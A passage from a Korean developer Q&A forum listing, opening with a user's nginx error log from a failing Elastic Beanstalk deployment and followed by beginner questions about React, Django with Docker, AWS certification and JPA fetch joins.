client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:30 [error] 9297#9297: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:30 [error] 9297#9297: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:38:11 [error] 9297#9297: *41 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S [¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S [¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S [¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S [¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 05:12:56 [error] 18216#18216: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80"

  • elasticbeanstalk
  • nginx
  • port
  • aws
  • springboot
  • 스프링부트
devholic 댓글 1 좋아요 0 조회수 1360

첫 로드시 동일한 이미지 두번호출

해결됨

이미지 관리 풀스택(feat. Node.js, React, MongoDB, AWS)

일단 저는 공개/비공개는 제외하고 만들고 있었는데 ImageContext에서 prevDara를 추가한 이후로 첫 로드시에 첫번째 이미지 리스트들을 두번 호출하는데 어떤 방식으로 해결해야 할까요??? 옵저버가 발동 되면 두번째 페이지 리스트들은 한번만 호출이 되는데 첫번째 페이지에 해당되는 이미지들만 두번이 호출되버립니다 ㅠㅠ 깃허브에 임시로 올려두긴 했는데 다른 파일들은 문제가 없어 보이긴 합니다ㅠㅠ useEffect(() => { if(pastImageUrlRef.current === imageUrl) return; setImageLoad(true); axios .get(imageUrl) .then((result) => setImages((prevData) => [...prevData, ...result.data])) .catch((err) => { console.error(err); setImageError(err) }) .finally(() => { setImageLoad(false); pastImageUrlRef.current = imageUrl; }); }, [imageUrl]);

  • react
  • node.js
  • aws
  • mongodb
  • express
  • lambda
박용진 댓글 1 좋아요 2 조회수 518

배포용 도커 컨테이너 실행이 안됩니다

미해결

Do It! 장고+부트스트랩: 파이썬 웹개발의 정석

docker-compose exec web python manage.py migrate를 했는데도 웹에 Bad Request (400) 라고 나옵니다 docker-compose logs 내용인데 오류메시지가 어디있는지 모르겠어요

  • HTML/CSS
  • javascript
  • python
  • django
  • bootstrap
  • aws
  • docker
  • tdd
djup1234 댓글 1 좋아요 0 조회수 734

실전문제풀이 해설 pdf 요청 드립니다

미해결

AWS Certified Solutions Architect - Associate 자격증 준비하기

저도 자격증 취득을 준비하고 있고 저희 팀원들도 이 강의를 수강하며 열심히 준비하고 있습니다. pdf 자료 공유 부탁 드립니다. dico7@naver.com

  • 네트워크
  • aws
손정환 댓글 1 좋아요 0 조회수 430

실전문제풀이 9 19번

미해결

AWS Certified Solutions Architect - Associate 자격증 준비하기

여서 왜 A 는 안되나요? 단순 조정 정책도 특정 지표를 바탕으로 Auto Scaling 그룹을 동적으로 확장할 수 있는거 아닌가요?

  • 네트워크
  • aws
dduckmane 댓글 1 좋아요 0 조회수 494

join과 join fetch 의 차이 ..

미해결

실전! 스프링 부트와 JPA 활용2 - API 개발과 성능 최적화

OrderQueryRepository 에 findAllByDto_flat 보면 다 join 으로 되어있는데 join과 join fetch (페치 조인)의 차이점은 뭔가요 ..? join도 lazy 로 되어있는거 한번에 끌고오는 건 비슷한 거 같은데 .. ㅜ

  • java
  • spring
  • spring-boot
  • jpa
김김 댓글 1 좋아요 0 조회수 656

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